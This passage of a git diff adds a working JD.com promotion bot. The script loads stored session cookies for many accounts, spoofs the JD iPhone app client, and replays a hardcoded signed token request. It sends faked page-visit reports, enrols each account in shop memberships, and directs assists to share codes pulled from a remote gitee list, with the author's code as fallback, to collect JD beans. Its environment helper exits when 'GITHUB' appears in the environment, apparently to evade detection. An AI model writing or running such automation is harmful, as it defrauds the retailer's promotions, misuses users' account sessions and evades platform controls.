1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/backUp/jd_lzdz1_huiju.js b/backUp/jd_lzdz1_huiju.js new file mode 100644 index 0000000..5313723 --- /dev/null +++ b/backUp/jd_lzdz1_huiju.js @@ -0,0 +1,585 @@ +/* +惠聚京东 好物连连 + +https://lzdz1-isv.isvjcloud.com/dingzhi/customized/common/activity/5063373?activityId=llk20211015&shareUuid=91245cc15b1847b1961c10c5412f2420 +*/ +const $ = new Env("惠聚京东 好物连连"); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = '', message = ''; +let ownCode = null; +let authorCodeList = [] +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + authorCodeList = await getAuthorCodeList('https://gitee.com/fatelight/dongge/raw/master/dongge/lzdz1_huanju.json') + if(authorCodeList === '404: Not Found'){ + authorCodeList = [ + '91245cc15b1847b1961c10c5412f2420', + ] + } + // console.log(authorCodeList) + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i] + originCookie = cookiesArr[i] + newCookie = '' + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await checkCookie(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + // if ($.isNode()) { + // await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + // } + continue + } + $.bean = 0; + $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); + $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + // $.authorCode = authorCodeList[random(0, authorCodeList.length)] + $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] + $.authorNum = `${random(1000000, 9999999)}` + $.randomCode = random(1000000, 9999999) + $.activityId = 'llk20211015' + $.activityShopId = '1000003005' + $.activityUrl = `https://lzdz1-isv.isvjcloud.com/dingzhi/customized/common/activity/${$.authorNum}?activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}&adsource=null&shareuserid4minipg=null&shopid=undefined&lng=00.000000&lat=00.000000&sid=&un_area=` + await member(); + await $.wait(5000) + if ($.bean > 0) { + message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` + } + } + } + if (message !== '') { + if ($.isNode()) { + await notify.sendNotify($.name, message, '', `\n`); + } else { + $.msg($.name, '有点儿收获', message); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + + +async function member() { + $.token = null; + $.secretPin = null; + $.openCardActivityId = null + await getFirstLZCK() + await getToken(); + await task('dz/common/getSimpleActInfoVo', `activityId=${$.activityId}`, 1) + if ($.token) { + await getMyPing(); + if ($.secretPin) { + console.log("去助力 -> "+$.authorCode) + await task('common/accessLogWithAD', `venderId=${$.activityShopId}&code=99&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=null`, 1); + await task('wxActionCommon/getUserInfo', `pin=${encodeURIComponent($.secretPin)}`, 1) + if ($.index === 1) { + await task('linkgame/activity/content', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`, 0, 1) + } else { + await task('linkgame/activity/content', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`) + } + $.log("关注店铺") + await task('linkgame/follow/shop', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`) + await task('taskact/common/drawContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`) + await task('linkgame/checkOpenCard', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`) + $.log("加入店铺会员") + if ($.openCardList) { + for (let i = 0; i < ($.openCardList.length); i++) { + $.log(">>> 模拟上报访问记录") + await task('crm/pageVisit/insertCrmPageVisit', `venderId=1000003005&pageId=llk20211015&elementId=入会跳转&pin=${encodeURIComponent($.secretPin)}`, 1) + await $.wait(2000) + } + + for (const vo of $.openCardList) { + $.log(`>>> 去加入${vo.name} ${vo.venderId}`) + if (vo.status === 0) { + await getShopOpenCardInfo({ "venderId": `${vo.venderId}`, "channel": "401" }, vo.venderId) + await bindWithVender({ "venderId": `${vo.venderId}`, "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": $.openCardActivityId, "channel": 401 }, vo.venderId) + await $.wait(2000) + } else { + $.log(`>>> 已经是会员`) + } + + } + } else { + $.log("没有获取到对应的任务。\n") + } + await task('linkgame/checkOpenCard', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`) + if ($.openCardStatus) { + console.log('去助力 -> ' + $.authorCode) + if ($.openCardStatus.allOpenCard) { + await task('linkgame/assist/status', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&shareUuid=${$.authorCode}`) + await task('linkgame/assist', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&shareUuid=${$.authorCode}`) + + } + } + await task('linkgame/help/list', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`) + + await task('linkgame/task/info', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`) + if ($.TaskList) { + tasklist = $.TaskList + if (!$.TaskList.sign) { + await task('linkgame/sign', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`); + } else { + console.log("已完成签到") + } + if (!$.TaskList.visitSku) { + for (const vo of tasklist.visitSkuList) { + if (vo.status === 0) { + await task('linkgame/browseGoods', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&value=${vo.goodsCode}`) + } + } + } else { + console.log("已完成浏览任务"); + } + if (!$.TaskList.addCart) { + await task('linkgame/addCart', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`); + } else { + console.log("加购任务已完成") + } + } + } + } +} + +function task(function_id, body, isCommon = 0, own = 0) { + return new Promise(resolve => { + $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + + if (data) { + data = JSON.parse(data); + if (data.result) { + switch (function_id) { + case 'dz/common/getSimpleActInfoVo': + $.jdActivityId = data.data.jdActivityId; + $.venderId = data.data.venderId; + $.activityType = data.data.activityType; + break; + case 'wxActionCommon/getUserInfo': + break; + case 'linkgame/activity/content': + if (!data.data.hasEnd) { + $.log(`开启【${data.data.activity['name']}】活动`) + $.log("-------------------") + if ($.index === 1) { + ownCode = data.data.actor['actorUuid'] + console.log(ownCode) + } + $.actorUuid = data.data.actor['actorUuid']; + } else { + $.log("活动已经结束"); + } + break; + case 'linkgame/checkOpenCard': + $.openCardList = data.data.openCardList; + $.openCardStatus = data.data; + // console.log(data) + break; + case 'linkgame/follow/shop': + console.log(data) + break; + case 'linkgame/sign': + console.log(data) + break; + case 'linkgame/addCart': + console.log(data) + break; + case 'linkgame/browseGoods': + console.log(data) + break; + case 'interaction/write/writePersonInfo': + console.log(data) + break; + case 'linkgame/task/info': + console.log(data) + break; + case 'linkgame/assist/status': + $.log(JSON.stringify(data)) + break; + case 'linkgame/assist': + $.log(JSON.stringify(data)) + break; + case 'linkgame/help/list': + $.log(JSON.stringify(data)) + break; + default: + // $.log(JSON.stringify(data)) + break; + } + } else { + // $.log(JSON.stringify(data)) + } + } else { + // $.log("京东没有返回数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function getShopOpenCardInfo(body, venderId) { + let opt = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + Host: 'api.m.jd.com', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'Accept-Language': 'zh-cn', + Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=801&returnUrl=${encodeURIComponent($.activityUrl)}`, + 'Accept-Encoding': 'gzip, deflate, br' + } + } + return new Promise(resolve => { + $.get(opt, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + res = JSON.parse(data) + if (res.success) { + if (res.result.interestsRuleList) { + $.openCardActivityId = res.result.interestsRuleList[0].interestsInfo.activityId; + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + + }) +} +function bindWithVender(body, venderId) { + let opt = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + Host: 'api.m.jd.com', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'Accept-Language': 'zh-cn', + Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=401&returnUrl=${encodeURIComponent($.activityUrl)}`, + 'Accept-Encoding': 'gzip, deflate, br' + } + } + return new Promise(resolve => { + $.get(opt, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + res = JSON.parse(data) + if (res.success) { + if (res.result.giftInfo && res.result.giftInfo.giftList) { + for (const vo of res.result.giftInfo.giftList) { + if (vo.prizeType === 4) { + $.log(`==>获得【${vo.quantity}】京豆`) + $.bean += vo.quantity + } + } + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + + }) +} + +function getAuthorCodeList(url) { + return new Promise(resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + $.get(options, async (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + $.logErr(e, resp) + data = null; + } finally { + resolve(data); + } + }) + }) +} + +function taskUrl(function_id, body, isCommon) { + return { + url: isCommon ? `https://lzdz1-isv.isvjcloud.com/${function_id}` : `https://lzdz1-isv.isvjcloud.com/dingzhi/${function_id}`, + headers: { + Host: 'lzdz1-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzdz1-isv.isvjcloud.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie + }, + body: body + + } +} + +function getMyPing() { + let opt = { + url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, + headers: { + Host: 'lzdz1-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzdz1-isv.isvjcloud.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie, + }, + body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP&riskType=1` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (resp['headers']['Set-Cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (data) { + data = JSON.parse(data) + if (data.result) { + $.log(`你好:${data.data.nickname}`) + $.pin = data.data.nickname; + $.secretPin = data.data.secretPin; + cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}` + } else { + $.log(data.errorMessage) + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + + }) + }) +} +function getFirstLZCK() { + return new Promise(resolve => { + $.get({ url: $.activityUrl }, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (resp['headers']['Set-Cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + }) +} +function getToken() { + let opt = { + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + headers: { + Host: 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Accept-Encoding': 'gzip, deflate, br', + }, + body: `body=%7B%22url%22%3A%20%22https%3A//lzkj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=hjudwgohxzVu96krv&client=apple&clientVersion=9.4.0&st=1620476162000&sv=111&sign=f9d1b7e3b943b6a136d54fe4f892af05` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.code === "0") { + $.token = data.token + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function random(min, max) { + + return Math.floor(Math.random() * (max - min)) + min; + +} +function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { + return format.replace(/[xy]/g, function (c) { + var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); + if (UpperCase) { + uuid = v.toString(36).toUpperCase(); + } else { + uuid = v.toString(36) + } + return uuid; + }); +} +function checkCookie() { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br", + } + }; + return new Promise(resolve => { + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.retcode === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东返回了空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +// prettier-ignore +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 